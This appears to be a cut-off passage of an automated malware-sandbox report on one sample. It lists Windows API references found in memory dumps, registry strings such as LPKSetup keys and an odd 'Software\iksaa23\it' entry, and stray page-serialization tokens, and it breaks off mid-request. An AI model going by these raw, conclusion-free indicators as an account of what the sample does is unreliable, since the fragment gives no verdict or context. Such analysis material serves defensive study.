00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "SetCursor"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "EnableWindow"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "GetFocus"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "ShowWindow"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "SetActiveWindow"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "LoadIconW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "ExitWindowsEx"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "MessageBoxW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "UnregisterClassW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "CharNextW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "TranslateMessage"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "DispatchMessageW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "SystemParametersInfoW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "KillTimer"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "SetTimer"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "RtlGetUILanguageInfo"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "RtlGetNtProductType"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "RtlpSetPreferredUILanguages"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "ShellExecuteExW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "SHBrowseForFolderW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "SHGetPathFromIDListW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "StringFromGUID2"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "CoGetObject"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "CoInitializeSecurity"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "PathFindExtensionW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "StrStrIW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "StrCmpIW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "PathFileExistsW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "PathRemoveFileSpecW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "PathIsDirectoryW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "PathRemoveBackslashW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "GetVersionExA"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "OutputDebugStringA"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "VirtualQuery"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "VirtualFree"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "VirtualProtect"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "UnregisterClassA"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp")39:T5f9,Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API "OpenProcess" (Indicator: "OpenProcess"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp")3a:T5bc,Found reference to API "GetLastError" (Indicator: "GetLastError"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API "SetLastError" (Indicator: "SetLastError"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp")3b:T1e2b,"Software\Microsoft\LPKSetup" in Source: ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin "\s*]*HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\MUI\\UILanguages\\([\w-]+)" in Source: ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin "System\CurrentControlSet\Control\MUI\UILanguages" in Source: ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin "DEBUG: Attempting to enumerate HKLM\%s" in Source: ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin "Software\Microsoft\LPKSetup\VerifyInstall" in Source: ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin "Software\Microsoft\LPKSetup\VerifyRemove" in Source: ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin "System\CurrentControlSet\Control\MUI\PendingInstall" in Source: ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin "System\CurrentControlSet\Control\MUI\PendingDelete" in Source: ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin "DEBUG: RegDeleteKey(HKCU\%s\%s) failed with %d" in Source: ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin "DEBUG: Attempting to move key HKLM\%s\%s to HKLM\%s\%s" in Source: ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin "SOFTWARE\Microsoft\Windows\CurrentVersion\Setup" in Source: ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00006900.00000000.68879.03400000.00000004.mdmp 00000000-00006900.00000001.70800.03400000.00000004.mdmp 00000000-00006900.00000002.72721.03400000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00006900.00000000.68879.03400000.00000004.mdmp 00000000-00006900.00000001.70800.03400000.00000004.mdmp 00000000-00006900.00000002.72721.03400000.00000004.mdmp "\Registry\Machine\System\CurrentControlSet\Control\Keyboard Layout" in Source: 00000000-00006900.00000000.68879.6CB30000.00000002.mdmp 00000000-00006900.00000001.70800.6CB30000.00000002.mdmp 00000000-00006900.00000002.72721.6CB30000.00000002.mdmp "Software\Microsoft\RegEdt32" in Source: 00000000-00006900.00000000.68879.6CB30000.00000002.mdmp 00000000-00006900.00000001.70800.6CB30000.00000002.mdmp 00000000-00006900.00000002.72721.6CB30000.00000002.mdmp "SOFTWARE\\MICROSOFT\\CLOCK" in Source: 00000000-00006900.00000000.68879.6CB30000.00000002.mdmp 00000000-00006900.00000001.70800.6CB30000.00000002.mdmp 00000000-00006900.00000002.72721.6CB30000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Devices" in Source: 00000000-00006900.00000000.68879.6CB30000.00000002.mdmp 00000000-00006900.00000001.70800.6CB30000.00000002.mdmp 00000000-00006900.00000002.72721.6CB30000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\EXTENSIONS" in Source: 00000000-00006900.00000000.68879.6CB30000.00000002.mdmp 00000000-00006900.00000001.70800.6CB30000.00000002.mdmp 00000000-00006900.00000002.72721.6CB30000.00000002.mdmp "SOFTWARE\\MICROSOFT\\CHARMAP" in Source: 00000000-00006900.00000000.68879.6CB30000.00000002.mdmp 00000000-00006900.00000001.70800.6CB30000.00000002.mdmp 00000000-00006900.00000002.72721.6CB30000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\NETWORK\\PERSISTENT CONNECTIONS" in Source: 00000000-00006900.00000000.68879.6CB30000.00000002.mdmp 00000000-00006900.00000001.70800.6CB30000.00000002.mdmp 00000000-00006900.00000002.72721.6CB30000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\PrinterPorts" in Source: 00000000-00006900.00000000.68879.6CB30000.00000002.mdmp 00000000-00006900.00000001.70800.6CB30000.00000002.mdmp 00000000-00006900.00000002.72721.6CB30000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\TRUETYPE" in Source: 00000000-00006900.00000000.68879.6CB30000.00000002.mdmp 00000000-00006900.00000001.70800.6CB30000.00000002.mdmp 00000000-00006900.00000002.72721.6CB30000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\TWAIN" in Source: 00000000-00006900.00000000.68879.6CB30000.00000002.mdmp 00000000-00006900.00000001.70800.6CB30000.00000002.mdmp 00000000-00006900.00000002.72721.6CB30000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS HELP" in Source: 00000000-00006900.00000000.68879.6CB30000.00000002.mdmp 00000000-00006900.00000001.70800.6CB30000.00000002.mdmp 00000000-00006900.00000002.72721.6CB30000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Windows" in Source: 00000000-00006900.00000000.68879.6CB30000.00000002.mdmp 00000000-00006900.00000001.70800.6CB30000.00000002.mdmp 00000000-00006900.00000002.72721.6CB30000.00000002.mdmp "Software\Microsoft\LPKSetup" in Source: 00000000-00006900.00000000.68879.6D1A1000.00000020.mdmp 00000000-00006900.00000001.70800.6D1A1000.00000020.mdmp 00000000-00006900.00000002.72721.6D1A1000.00000020.mdmp "\s*]*HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\MUI\\UILanguages\\([\w-]+)" in Source: 00000000-00006900.00000000.68879.6D1A1000.00000020.mdmp 00000000-00006900.00000001.70800.6D1A1000.00000020.mdmp 00000000-00006900.00000002.72721.6D1A1000.00000020.mdmp "System\CurrentControlSet\Control\MUI\UILanguages" in Source: 00000000-00006900.00000000.68879.6D1A1000.00000020.mdmp 00000000-00006900.00000001.70800.6D1A1000.00000020.mdmp 00000000-00006900.00000002.72721.6D1A1000.00000020.mdmp "DEBUG: Attempting to enumerate HKLM\%s" in Source: 00000000-00006900.00000000.68879.6D1A1000.00000020.mdmp 00000000-00006900.00000001.70800.6D1A1000.00000020.mdmp 00000000-00006900.00000002.72721.6D1A1000.00000020.mdmp "Software\Microsoft\LPKSetup\VerifyInstall" in Source: 00000000-00006900.00000000.68879.6D1A1000.00000020.mdmp 00000000-00006900.00000001.70800.6D1A1000.00000020.mdmp 00000000-00006900.00000002.72721.6D1A1000.00000020.mdmp "Software\Microsoft\LPKSetup\VerifyRemove" in Source: 00000000-00006900.00000000.68879.6D1A1000.00000020.mdmp 00000000-00006900.00000001.70800.6D1A1000.00000020.mdmp 00000000-00006900.00000002.72721.6D1A1000.00000020.mdmp "System\CurrentControlSet\Control\MUI\PendingInstall" in Source: 00000000-00006900.00000000.68879.6D1A1000.00000020.mdmp 00000000-00006900.00000001.70800.6D1A1000.00000020.mdmp 00000000-00006900.00000002.72721.6D1A1000.00000020.mdmp "System\CurrentControlSet\Control\MUI\PendingDelete" in Source: 00000000-00006900.00000000.68879.6D1A1000.00000020.mdmp 00000000-00006900.00000001.70800.6D1A1000.00000020.mdmp 00000000-00006900.00000002.72721.6D1A1000.00000020.mdmp "DEBUG: RegDeleteKey(HKCU\%s\%s) failed with %d" in Source: 00000000-00006900.00000000.68879.6D1A1000.00000020.mdmp 00000000-00006900.00000001.70800.6D1A1000.00000020.mdmp 00000000-00006900.00000002.72721.6D1A1000.00000020.mdmp "DEBUG: Attempting to move key HKLM\%s\%s to HKLM\%s\%s" in Source: 00000000-00006900.00000000.68879.6D1A1000.00000020.mdmp 00000000-00006900.00000001.70800.6D1A1000.00000020.mdmp 00000000-00006900.00000002.72721.6D1A1000.00000020.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Setup" in Source: 00000000-00006900.00000000.68879.6D1A1000.00000020.mdmp 00000000-00006900.00000001.70800.6D1A1000.00000020.mdmp 00000000-00006900.00000002.72721.6D1A1000.00000020.mdmp "Software\iksaa23\it" in Source: 00000000-00006900.00000001.70800.05070000.00000004.mdmp 00000000-00006900.00000001.70800.05A80000.00000040.mdmp 00000000-00006900.00000001.70800.05C00000.00000040.mdmp 00000000-00006900.00000002.72721.05070000.00000004.mdmp 00000000-00006900.00000002.72721.05A80000.00000040.mdmp 00000000-00006900.00000002.72721.05C00000.00000040.mdmp3c:T37f3,"GET /check/safe 